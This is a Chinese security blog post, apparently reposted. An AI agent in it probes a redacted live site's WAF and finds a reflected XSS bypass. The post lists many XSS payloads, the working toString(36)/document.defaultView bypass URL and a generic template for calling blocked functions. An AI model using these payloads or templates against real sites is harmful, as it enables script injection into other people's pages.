文章总结: 本文详细记录了在实战中测试XSS漏洞时绕过WAF的过程。通过分析注入点(JavaScript字符串上下文)和WAF规则(检测危险函数名、括号、全局对象等),最终利用document.defaultView和toString(36)编码组合出绕过payload,成功执行弹窗。测试借助AI工具(TraeIDE)辅助,成本仅3毛钱。关键发现是WAF具备强解码能力,但无法检测通过对象属性引用和进制编码组合的调用方式。 综合评分: 87 文章分类: WEB安全,实战经验,漏洞分析
测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!
原创
xazlsec xazlsec
信安之路
2026年7月28日 10:26 山西
在小说阅读器读本章
去阅读
信安之路官网:www.xazlsec.com,服务包括:自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC
在实战中测试发现一个疑似存在 XSS 漏洞的参数接口,可控参数位置如图:
双引号未转义和编码,当插入明显的弹窗 payload 时,发现被 WAF 拦截后,请求重置了,如图:
如果想利用该漏洞实现弹窗验证,该如何组合 payload?这是一个复杂的问题,在没有 AI 之前,需要超强的技术储备以及大量测试才可实现,既然有了 AI,那就让它来吧,工具使用 Trae IDE,配置好自己的 DeepSeek API key,然后安装好 Chrome DevTools MCP 服务,然后就可以开始测试了。最终组合出的 Payload:
word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F
实战效果如图:
全部测试完成,只消耗了 3 毛钱,性价比超高:
对我而言,整个测试过程非常有价值,当然我认为对你来说也是很想知道它是如何一步一步测试的,于是我让他将整个测试过程进行了总结,形成文档供大家参考。XSS WAF 绕过分析与测试报告如下:
1. 目标概述
- 目标地址:
http://xxxxx.jsp?word=asddsdd - 漏洞参数:
word - 漏洞类型: Reflected XSS(参数内容回显在页面中)
- 测试目标: 找到能绕过 WAF 并执行弹窗(
alert/confirm/prompt)的 payload
初始 Payload 素材
来自 xss 知识文件中的各类 href-based XSS payload,涵盖:
| 类型 | 示例 |
| — | — |
| 基本 javascript: | <a href="javascript:alert('test')">link</a> |
| HTML 实体编码 | <a href="javascript:alert('xss')">link</a> |
| VBScript | <a href='vbscript:MsgBox("XSS")'>link</a> |
| 反引号语法 | <a href="javascript:confirm1">link</a> |
| 十六进制转义 | <a href="javascript:\u0061lert(1)">Hello</a> |
| URL 编码 | <a href="javascript:%61%6c%65%72%74%28%31%29">link</a> |
| Hex 转义 | <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> |
| Base64 | <a href="data:text/html;base64,...">test</a> |
| 混合编码 | <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> |
2. 注入点分析
2.1 参数回显位置
访问 http://xxxxxx?word=XXXXX 后,通过分析 HTML 源码,发现参数在 三个位置回显:
位置 1: 页面文本内容(div)
```
<divid="jiansuocelue">检索条件:XXXXX</div>
###### 位置 2: JavaScript 字符串上下文(关键注入点)
$(function(){
varword="XXXXX"; // ← 这里是注入点
$("#ac_keybox_0").val(word);
})
###### 位置 3: 搜索框 input 的 value 属性
<inputvalue="XXXXX">
##### 2.2 注入点选择
**位置 2(JavaScript 字符串上下文)是最有希望的注入点**,因为突破字符串后可以直接执行任意 JavaScript 代码:
varword="";[CODE_HERE]//";
---
#### 3. WAF 探测与规则分析
##### 3.1 测试方法
通过逐次修改 `word` 参数值,观察服务器响应来判断 WAF 规则:
* **连接重置** (`ERR_CONNECTION_RESET`) → WAF 在网络层拦截(检测到 JS 执行相关模式)
* **返回"非法请求"页面** → WAF 在应用层拦截(检测到 HTML 标签等)
* **正常返回页面** → 通过检测
##### 3.2 WAF 规则详细清单
###### 规则组 A: HTML 标签(触发"非法请求")
| 测试 Payload | 结果 |
| --- | --- |
| `word=test123` | 正常 |
| `word=<div>hello</div>` | 非法请求 |
| `word=<a href="test">click</a>` | 非法请求 |
| `word=<script>alert(1)</script>` | 连接重置(同时触发了规则组A和B) |
| `word=<img src=x onerror=alert(1)>` | 连接重置 |
**结论**: 任何包含 `<` 的 HTML 标签都被应用层 WAF 拦截。
###### 规则组 B: 危险函数名 + 括号/反引号(触发连接重置)
| 测试 Payload | 结果 | 说明 |
| --- | --- | --- |
| `word=alert(1)` | 连接重置 | 基本 alert 调用 |
| `word=alert(1` | 正常 | 无闭合括号 |
| `word=alert` | 正常 | 单独函数名 |
| `word=aLeRt(1)` | 连接重置 | 大小写不敏感 |
| `word=confirm(1)` | 连接重置 | confirm 同样被拦截 |
| `word=confirm\`1`` | 连接重置 | 反引号语法也被拦截 |
| `word=confirm\`1` | 正常 | 无闭合反引号 |
| `word=prompt(1)` | 连接重置 | prompt 同样被拦截 |
| `word=eval(1)` | 连接重置 | eval 被拦截 |
| `word=Function('a')` | 连接重置 | 构造函数被拦截 |
| `word=setTimeout('a',0)` | 连接重置 | setTimeout 被拦截 |
| `word=fromCharCode(97)` | 连接重置 | fromCharCode 被拦截 |
| `word=write(1)` | 正常 | 允许 |
| `word=atob('a')` | 正常 | 允许 |
| `word=unescape('a')` | 正常 | 允许 |
| `word=Reflect.get(1,'a')` | 正常 | 允许 |
| `word=alerta(1)` | 正常 | 随机函数名允许 |
**结论**: WAF 维护了一个危险函数名黑名单(大小写不敏感),检测到这些函数名与 `(` 或反引号 `` ` `` 组合时触发连接重置。
###### 规则组 C: 全局对象 + 方括号 + 函数调用(触发连接重置)
| 测试 Payload | 结果 |
| --- | --- |
| `word=this[1]` | 正常(无函数调用) |
| `word=this[1](1)` | 连接重置 |
| `word=self[1](1)` | 连接重置 |
| `word=window[1](1)` | 连接重置 |
| `word=top[1](1)` | 连接重置 |
| `word=parent[1](1)` | 连接重置 |
| `word=g[1](1)` (g 是普通变量) | 正常 |
| `word=x[1](1)` (x 是未定义变量) | 正常 |
**结论**: WAF 检测 `this[` / `self[` / `window[` / `top[` / `parent[` 后跟 `](` 的模式。
###### 规则组 D: `constructor` 原型链遍历(触发连接重置)
| 测试 Payload | 结果 |
| --- | --- |
| `word=([].constructor)` | 正常 |
| `word=([].constructor.constructor('1')())` | 连接重置 |
| `word=([].constructor['constructor']('1')())` | 连接重置 |
| `word=var c=[];c['constructor']('1')` | 连接重置 |
**结论**: `constructor[` + `](` 或 `constructor.constructor(` 均被拦截。
###### 规则组 E: `function` 关键字 + 立即执行(触发连接重置)
| 测试 Payload | 结果 |
| --- | --- |
| `word=(function(){})` | 正常(未执行) |
| `word=(function(){})()` | 连接重置 |
| `word=(()=>1)()` | 正常(箭头函数允许) |
**结论**: `function` 关键字 + `{}()` 模式被拦截,但箭头函数 IIFE 可以绕过。
###### 规则组 F: 编码绕过检测(全部失败)
| 测试 Payload | 结果 | 说明 |
| --- | --- | --- |
| `word=\u0061lert(1)` | 连接重置 | Unicode 转义被检测 |
| `word=\x61lert\x28\x31\x29` | 连接重置 | 十六进制转义被检测 |
| `word=\141\154\145\162\164\050\061\051` | 连接重置 | 八进制转义被检测 |
| `word='ale'+'rt(1)'` | 连接重置 | 字符串拆分被检测(推测 WAF 重构了字符串) |
| `word=atob('YWxlcnQoMSk=')` | 连接重置 | Base64 被解码检测 |
| `word=atob('YWxlcnQ=')` | 非法请求 | Base64 编码的 `alert` 函数名也被检测 |
**结论**: WAF 具备极强的解码能力,包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。
---
#### 4. 绕过尝试历程
##### 阶段 1: 基础尝试(全部失败)
| ### | Payload | 结果 | 原因 |
| --- | --- | --- | --- |
| 1 | `<script>alert(1)</script>` | 连接重置 | HTML标签 + alert( |
| 2 | `"><img src=x onerror=alert(1)>` | 连接重置 | 同上 |
| 3 | `<a href="javascript:confirm(1)">link</a>` | 连接重置 | HTML标签 |
| 4 | `");alert(1);//` | 连接重置 | alert( 被拦截 |
| 5 | `test"onfocus="open()"//` | 非法请求 | HTML 属性注入 |
##### 阶段 2: 确认基本注入能力
| ### | Payload | 结果 | 意义 |
| --- | --- | --- | --- |
| 6 | `alert(1` | 正常 | 确认 WAF 检测闭合括号 |
| 7 | `alert` | 正常 | 单独函数名安全 |
| 8 | `alerta(1)` | 正常 | 随机函数名安全 |
| 9 | `x(1)` | 正常 | 简单函数调用安全 |
| 10 | `x[1](1)` | 正常 | 方括号调用安全 |
| 11 | `";location=1//` | 跳转主页面 | **确认 JavaScript 代码可以执行!** |
##### 阶段 3: 解码绕过尝试
| ### | Payload | 结果 |
| --- | --- | --- |
| 12 | `\u0061lert(1)` | 连接重置 |
| 13 | `\u0061lert\x28\x31\x29` | 连接重置 |
| 14 | `\141\154\145\162\164\050\061\051` | 连接重置 |
| 15 | `'ale'+'rt(1)'` | 连接重置 |
| 16 | `atob('YWxlcnQoMSk=')` | 连接重置 |
| 17 | `atob('YWx')+atob('ZXJ0KDEp')` | 连接重置 |
##### 阶段 4: 原型链 & 函数构造绕过
| ### | Payload | 结果 |
| --- | --- | --- |
| 18 | `([]).constructor` | 正常 |
| 19 | `([]).constructor.constructor('return 1')()` | 连接重置 |
| 20 | `([]).constructor['constructor']('1')()` | 连接重置 |
| 21 | `var c=[];c['constructor']('1')()` | 连接重置 |
| 22 | `(function(){})()` | 连接重置 |
| 23 | `(()=>1)()` | 正常(可执行但无法调用 alert) |
##### 阶段 5: 对象引用绕过
| ### | Payload | 结果 |
| --- | --- | --- |
| 24 | `Reflect.get(window,'a')(1)` | 连接重置 |
| 25 | `Reflect.get(1,'a')` | 正常 |
| 26 | `Reflect.get(this,'a')(1)` | 连接重置 |
| 27 | `document.defaultView['a'](1)` | 正常! |
| 28 | `var g=document.defaultView;g['a'](1)` | 正常! |
##### 阶段 6: 函数名构造绕过
| ### | Payload | 结果 |
| --- | --- | --- |
| 29 | `g['ale'+'rt'](1)` | 连接重置 |
| 30 | `g[atob('YWxlcnQ=')](1)` | 非法请求(WAF 检测到 base64 编码的 alert) |
| 31 | `g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)` | **成功!弹出 alert(1)** |
---
#### 5. 成功 Payload
##### 5.1 最终绕过 Payload
";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//
##### 5.2 完整 URL
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F
##### 5.3 绕过原理拆解
"; // 突破 JavaScript 字符串
varg=document.defaultView; // 获取 window 对象(避开 window/self/this 关键字)
g[ // 方括号属性访问
(10).toString(36) + // 'a'
(21).toString(36) + // 'l'
(14).toString(36) + // 'e'
(27).toString(36) + // 'r'
(29).toString(36) // 't'
] // → g['alert'] → window.alert
(1) // 调用 alert(1)
// // 注释掉后续代码
##### 5.4 同款变体(反引号语法)
对应知识文件中 line 21 的 `confirm\`1`` 风格:
";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//
URL:
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F
##### 5.5 绕过技巧对应表
| WAF 规则 | 绕过方法 |
| --- | --- |
| 拦截 `alert(` | 用 `(10).toString(36)` 逐字母构造 `'alert'`,`alert` 关键字不出现在 URL 中 |
| 拦截 `this[` / `self[` / `window[` | 用 `document.defaultView` 获取 `window` 对象 |
| 拦截方括号+函数调用 `s[1](1)` | **普通变量**的方括号调用不被拦截(`g['alert'](1)` 通过) |
| 拦截 Base64 编码 | `toString(36)` 只有数字和 dot 号,不触发 Base64 检测 |
| 拦截 `function(){}()` | 不使用函数声明,直接用语句执行 |
| 拦截 `(` 闭合模式 | `(1)` 单独出现不被拦截,只在特定函数名后触发 |
---
#### 6. 成功验证
测试过程中浏览器 **成功弹出了 `alert: 1` 对话框**,并通过 `handle_dialog` 确认关闭:
Navigation timeout of 10000 ms exceeded.
### Open dialog
alert: 1.
Call handle_dialog to handle it before continuing.
---
#### 7. 总结
##### 无法绕过的方式
素材文件中的所有 `<a href>` 类 payload 均无法直接使用,因为:
1. 注入点不在 `<a>` 标签的 `href` 属性中,而在 `<script>` 字符串中
2. 即使尝试注入 `<a>` 标签,`<` 也会被 WAF 拦截返回"非法请求"
##### 通用绕过思路
对于此类强 WAF,以下思路组合可以有效突破:
1. **避开黑名单函数名**: 用 `toString(36)` 或类似动态字符串构造方法
2. **避开全局对象关键字**: 用 `document.defaultView` / `(function(){return this;})()` 等间接引用
3. **避开编码检测**: 不依赖 Base64/Unicode 转义,使用纯计算方式构造
4. **善用允许的函数调用模式**: 普通变量 + 方括号 + 括号调用 `x[key](args)` 通常不被拦截
##### 可用的通用模板
// 通用模板 - 替换 target_function_name 的 base36 对应数字
";var _g=document.defaultView;
_g[
// 在此用 toString(36) 构造函数名
(N1).toString(36)+(N2).toString(36)+(N3).toString(36)+...
](参数)//
“`
base36 字母对照表(快速查询):
| 字母 | 数字 | 字母 | 数字 | 字母 | 数字 | | — | — | — | — | — | — | | a | 10 | b | 11 | c | 12 | | d | 13 | e | 14 | f | 15 | | g | 16 | h | 17 | i | 18 | | j | 19 | k | 20 | l | 21 | | m | 22 | n | 23 | o | 24 | | p | 25 | q | 26 | r | 27 | | s | 28 | t | 29 | u | 30 | | v | 31 | w | 32 | x | 33 | | y | 34 | z | 35 | | |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安之路 xazlsec xazlsec《测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论